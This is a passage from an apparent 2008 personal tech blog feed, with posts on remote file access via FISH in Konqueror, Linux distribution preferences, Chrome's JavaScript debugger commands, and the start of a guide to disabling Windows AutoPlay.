src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNKajd80sI/AAAAAAAAAYI/GvEwnI2IKLc/s400-R/fish2.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&amp;nbsp;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNNzYDFf0I/AAAAAAAAAYQ/9EHI-9beg0A/s1600-h/fish3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNNzYDFf0I/AAAAAAAAAYQ/EW0RQnZE2J4/s400-R/fish3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNOBedYkhI/AAAAAAAAAYY/iGywFr0htiY/s1600-h/fish4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNOBedYkhI/AAAAAAAAAYY/U6iXjnUFPck/s400-R/fish4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;You can also edit or create rich text documents using the FISH in konqueror. Konqueror is a 'drag-n-drop' style file manager i.e you can copy or move files by just dragging the things arround. So you can create a rich text doccument in your machine and then drag it over the network to remote machine really cool rite no ftp no ssh nothing simple 'drag-n-drop' works even for remote machines. For such drag n drop thing to be made easily just split the konqueror into right-left or top-down views. This can be done from &lt;i&gt;Window tab &lt;/i&gt;option. Following image shows top-down splitting of konqueror window.Set one of the view to your machine file system other to refer remote machine, to transfer files drag files from one view to other and konqueror provides you option asking whether you want to copy files and move files&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNeu9Lza5I/AAAAAAAAAYg/Ehds2NUq7AM/s1600-h/fish_splitview.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SQNeu9Lza5I/AAAAAAAAAYg/iNm3gakI1Pw/s400-R/fish_splitview.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well...&amp;nbsp; coming back to editing of rich text files, just right click and open files with &lt;i&gt;Open Office writer &lt;/i&gt;after you are done editing is done konqueror will prompt for uploading the changes. Following set of images illustrate this.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQNg-3QVJ-I/AAAAAAAAAY4/csQ1SsRoJPg/s1600-h/fishC3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SQNg-3QVJ-I/AAAAAAAAAY4/Id2CDaS9O5A/s400-R/fishC3.png&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&amp;nbsp;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNhFdYYhmI/AAAAAAAAAZA/bmbyfL-j87I/s1600-h/fishC4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SQNhFdYYhmI/AAAAAAAAAZA/9S7s_I0tclk/s400-R/fishC4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Thus Konqueror along with FISH protocol provides us a way of doing remote computing. Note that FISH is not same as remote desktop which is there in &lt;i&gt;Windows &lt;/i&gt;where remote user will be logged off if you try to access the remote machine. With FISH the remote user will not even know you are accessing his Machine, again note that this is not a security threat because without knowing the user name and a password you can not access the remote machine unlike Windows file sharing where shared file can be seen by any one in the network without any authentication.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Well this is all about a small fish which lives in Linux. With this technology I was able to transfer all of 2GB file without any problem to my other machine across the network. &lt;i&gt;Hope you will also try fishing in Linux&lt;/i&gt; :).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Courtsey: &lt;a href=&quot;http://www.linux.org/lessons/short/fish/t1.html&quot;&gt;Linux.org&lt;/a&gt;&lt;/div&gt;
</description>
<pubDate>Sat, 25 Oct 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/10/have-you-gone-fishing-in-linux.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/10/have-you-gone-fishing-in-linux.html</guid>
</item>



<item>
<title>Linux - According to me</title>
<description>&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Linux was created by Linus Benedict Torvalds&lt;span style=&quot;border-collapse: separate; color: black; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;/span&gt; in 1991. &lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_kernel&quot;&gt;Linux is a operating system Kernel&lt;/a&gt; used by a family of &lt;a href=&quot;http://en.wikipedia.org/wiki/Unix-like&quot;&gt;Unix Like&lt;/a&gt; operating systems.It is released under the &lt;a href=&quot;http://en.wikipedia.org/wiki/GNU_General_Public_License&quot;&gt;GNU General Public License version 2&lt;/a&gt;(GPLv2).&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; According to me now a days LINUX is the name given to collection of Operating System in common rather than any single OS. There are many communities providing Linux-Distro's some of them are &lt;a href=&quot;http://www.redhat.com/&quot;&gt;Red Hat,&lt;/a&gt;&lt;a href=&quot;http://fedoraproject.org/&quot;&gt;Fedora&lt;/a&gt;, &lt;a href=&quot;http://www.mandriva.com/&quot;&gt;Mandriva&lt;/a&gt;, &lt;a href=&quot;http://www.debian.org/&quot;&gt;Debian&lt;/a&gt;,&lt;a href=&quot;http://www.slackware.com/&quot;&gt; Slackware(oldest surviving Linux distro)&lt;/a&gt; and so on. I've worked already on Red Hat Enterprise,Fedora,Ubuntu,Mandriva and Open SUSE. After working on these flavours of Linux I want to share my experiences and thoughts.&lt;/span&gt; &lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The main difference between all these flavours which I worked are their GUI and User friendliness. Even though it is better to work on Linux system through shell prompt there are times where we need to use the GUI and when we use it we want it to be friendly with us. Well if you are looking for User friendly Linux distro's I suggest you to use the Ubuntu or Mandriva. I personally recommend Mandriva (my experience). The GUI i Red Hat and Fedora are good but when it comes to system administration, software installation and removal Mandriva is good because of its user friendly Control Center which allows us to do all the system maintenance from a single place. Even though Fedora 8 ,Fedora 9 and Open SUSE are having the control center its not as effective as Mandriva's Control center. Following are the screen shots of Mandriva Control Center.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SPN5kbxFzlI/AAAAAAAAAX4/bjfCaKGVZNc/s1600-h/screenshot-1.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SPN5kbxFzlI/AAAAAAAAAX4/9-DHCZslo-I/s400-R/screenshot-1.JPG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now lets look at the development end as a programmer I prefer either Red Hat or Fedora the most next preference is to Mandriva. The reason for this may be because I started programming in Red Enterprise Linux and Fedora is &lt;span style=&quot;border-collapse: separate; color: black; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;i style=&quot;font-style: normal; text-decoration: inherit;&quot;&gt;a&lt;/i&gt; &lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;project is maintained and driven by the community and sponsored by&lt;/span&gt;&lt;span style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;i style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; font-style: normal; font-weight: bold; text-decoration: inherit;&quot;&gt;Red Hat&lt;/i&gt;&lt;span style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt; for this reason most of the programming environment is similar to Red Hat.&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt; Mandriva even though good for programming some required library files are placed in the locations other than the one in which they are normally found on other Linux platforms. I experienced this when I first migrated from Red Hat platform to Mandriva 2008. Actually what happened is in Red Hat after compiling lex programs with lex commands generated C file (lex.yy.c) should be compiled with C compiler (cc or gcc) by giving switch &lt;/span&gt;&lt;/span&gt;&lt;b&gt;-ll&lt;/b&gt;&lt;/span&gt; which stands for Lex Library but in Mandriva an error was reported by &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;ld(linker) &lt;/b&gt;that specified library is not found same thing happened when I tried to compile file generated by &lt;b&gt;yacc &lt;/b&gt;command. Later I found that some of required library files are placed in different path than it should be.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; Commands are the third thing which I want to talk. Some of the commands which I found in Red Hat and Fedora are not found in Open SUSE!!!&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; Next is installation of the third party software in Linux OS, its the most difficult job for developers to develop the software that can run on all the Linux platforms and thereby user should use only those specified flavours of Linux to run this programs.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; After seeing all these problems I thought that it would be better if following changes are made to Linux&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;There should be a central controlling committee for Linux which should bring out a single Kernel that should be used by all the flavours. All the communities&amp;nbsp; should provide the changes made to the Kernel by them to this committee and this committee is responsible for coming up with final Kernel which should be used by all communities providing Linux Distro's&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;This helps a lot for the developer to come up with a software program that can be used on any Linux flavours without much changes and thus the user can use the distro's they like&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ul style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;There should be a standard file system hierarchy that should be followed by all the Distro's (i.e system, administration, Development, Library files should be placed in the same well defined locations).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;There should be a standard set of commands that should be present in all distro's&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;After following these rules the different distro's can provide their own UI.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; Thus if all the distro's follow these rules it'll be really helpful to third party Software developers and Programmers and Linux will become number one OS in the world. &lt;/span&gt;&lt;/div&gt;
</description>
<pubDate>Mon, 13 Oct 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/10/linux-according-to-me.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/10/linux-according-to-me.html</guid>
</item>



<item>
<title>Help for Developer in Google Chrome</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;Chrome&lt;/b&gt; a browser from Google Inc came into market recently. I think is a fastest browser to &lt;b&gt;browse in the web&lt;/b&gt;. According to me it is not good for downloading things compared to Mozilla. Chrome has many feature unlike any browser its very light weight browser, doesn't take time to load and of the all features this is a browser meant for developer.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SOz1CiLsBbI/AAAAAAAAAXQ/UZhKE4XEqSc/s1600-h/dlpage_lg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://1.bp.blogspot.com/_Pms4ehFPMfI/SOz1CiLsBbI/AAAAAAAAAXQ/ihx2yXSVHHs/s400-R/dlpage_lg.jpg&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;How I came across the development features of the Chrome?&lt;div style=&quot;text-align: justify;&quot;&gt;Well I'm doing a Web based project and I wrote a java script to validate the form in a html page. This script is triggered when user clicks on the submit button. The main purpose of the script is to see that user fills in all the required fields before the form is processed by Java Server Pages. If form is incomplete page will not be submitted for further processing. A warning message box appears and error messages will be written below all the required &amp;amp; incomplete fields. When you submit incomplete form Screen looks some what like this.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SOz4BONljOI/AAAAAAAAAXY/bNceFMI6iJc/s1600-h/chome.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SOz4BONljOI/AAAAAAAAAXY/6Kgb0kuJT8I/s400-R/chome.JPG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Coming back to the developper support in Chrome, I got this problem in the script even when i complete the form and submit still alert box used to pop up and page will not be processed, of the all I was new to javascript and i don't know what was the problem. But when I looked in the File&amp;gt;Developer section of Chrome i came across the javascript debugger. The debugger console looks like this&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SOz5TIA5k0I/AAAAAAAAAXg/PC44kAXfQdE/s1600-h/chrome2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SOz5TIA5k0I/AAAAAAAAAXg/OFndxbWHRZc/s400-R/chrome2.JPG&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;After launching java script debugger just type help you will get few commands and their usage. The commands are&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;1.&lt;b&gt;break&lt;/b&gt; : Used to setup break points in the java script.&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: -webkit-monospace; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; usage:&lt;b&gt; break [location] &lt;condition&gt;&lt;/condition&gt;&lt;/b&gt;&lt;br /&gt;location is one of &lt;b&gt;&lt;function&gt; | &lt;script:function&gt; | &lt;script:line&gt; | &lt;script:line:pos&gt;&lt;/script:line:pos&gt;&lt;/script:line&gt;&lt;/script:function&gt;&lt;/function&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;You can specify function name or the line in the java script file. If there multiple scripts for a HTML page then you can specify it as &lt;b&gt;script name:function&lt;/b&gt; or &lt;b&gt;script name:line&lt;/b&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Once break point is set then do the action which triggers the java script. (in my case the event is onsubmit i.e on pressing submit button.) Script starts running and you will get a message some what like this&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: -webkit-monospace; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;&quot;&gt;paused at breakpoint 1: checkform(form=#&lt;an htmlformelement=&quot;&quot;&gt;), file:///D:/Programming/project/checkform.js&lt;br /&gt;5:  if(form.password.value != form.cpassword.value)&lt;/an&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: -webkit-monospace; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: pre-wrap; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3. &lt;b&gt;break_info&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; : gives number of break points in current script and information about each break point.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. &lt;b&gt;scripts&lt;/b&gt; : This command gives name of the scripts associated with current web page.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;5. &lt;b&gt;clear&lt;/b&gt; : This command takes the break point number returned by break or break_info command. Is used to clear the break points&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;6. &lt;b&gt;print : &lt;/b&gt;Takes expression or variable name as argument. Used to check the values of variables or expression in the script.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;Once script starts running you will get few more commands.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1.&lt;b&gt;step&lt;/b&gt; : Used to step into the function, if current statement is not a function it just executes one statement and stops&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. &lt;b&gt;next&lt;/b&gt; : Similar to step but instead of stepping into function this will execute entire function and stops at next line to function&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;3.&lt;b&gt;locals&lt;/b&gt; : Gives the value of all the local variables in current context.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;4. &lt;b&gt;stepout&lt;/b&gt; : Resumes normal execution from current break point, ignores any further break point.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;5. &lt;b&gt;continue&lt;/b&gt; : Similar to stepout but stops at next break point.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;This is a really helpfull tool for a developer to find faults in their scripts, and is not present in any browser.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Next development tool provided by Chrome is &lt;b&gt;java script console&lt;/b&gt; which allows to find errors in the java scripts and is also a DOM inspector.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Last but not the least is the &lt;b&gt;task manager&lt;/b&gt; which allows the developer to see how much memory is his web page consuming. Not only that it tells how much memory each tab in Chrome is consuming and if flash contents are present it tells how much memory the Shock Wave Plugin is consuming. Following is a view of task manager&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SO0BhSa-rcI/AAAAAAAAAXo/mWFxoBwMumY/s1600-h/chome3.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/_Pms4ehFPMfI/SO0BhSa-rcI/AAAAAAAAAXo/zcfFdv9KQGo/s400-R/chome3.JPG&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;Whether people like Chrome or not but it is a really a gift for the developers, and I thank google for providing us such a good web browser.&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;
</description>
<pubDate>Wed, 08 Oct 2008 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2008/10/help-for-developer-in-google-chrome.html</link>
<guid isPermaLink="true">http://copyninja.info/2008/10/help-for-developer-in-google-chrome.html</guid>
</item>



<item>
<title>Disabling Auto Play in Windows</title>
<description>All of you might have come across the autoplay when we insert any CD or DVD or USB Device. A pop up window will asking how do you want to open the drive. What actually happens here is that OS reads your removable device either it may be a USB or it may be CD or DVD to see what are the possible applications that you can use to open the drive. And if the USB drive is infected with a autorun file when you click open virus will enter into your system. This autoplay feature is used by most of famous antivirus software (nod32,avast) to catch any possible infections as soon as you insert your USB to the machine. Once you disable antivirus doesn't detect virus as soon as you insert your pen drive, but don't worry it will catch the virus once you scan your drive. I suggest you disable this autoplay feature in your computer.&lt;br /&gt;The steps for disabling autoplay are&lt;br /&gt;1. Click on start then on&lt;b&gt; run&lt;/b&gt; and in the run window type &lt;b&gt;gpedit.msc &lt;/b&gt;and click OK.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5VwJjfWFI/AAAAAAAAAWA/u8CQhOWrV7k/s1600-h/run.bmp&quot; imageanchor=&quot;1&quot; linkindex=&quot;71&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SN5VwJjfWFI/AAAAAAAAAWA/f1afd_EtTTE/s400-R/run.bmp&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;2. The group policy editor window will open as shown below.&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt; &lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a 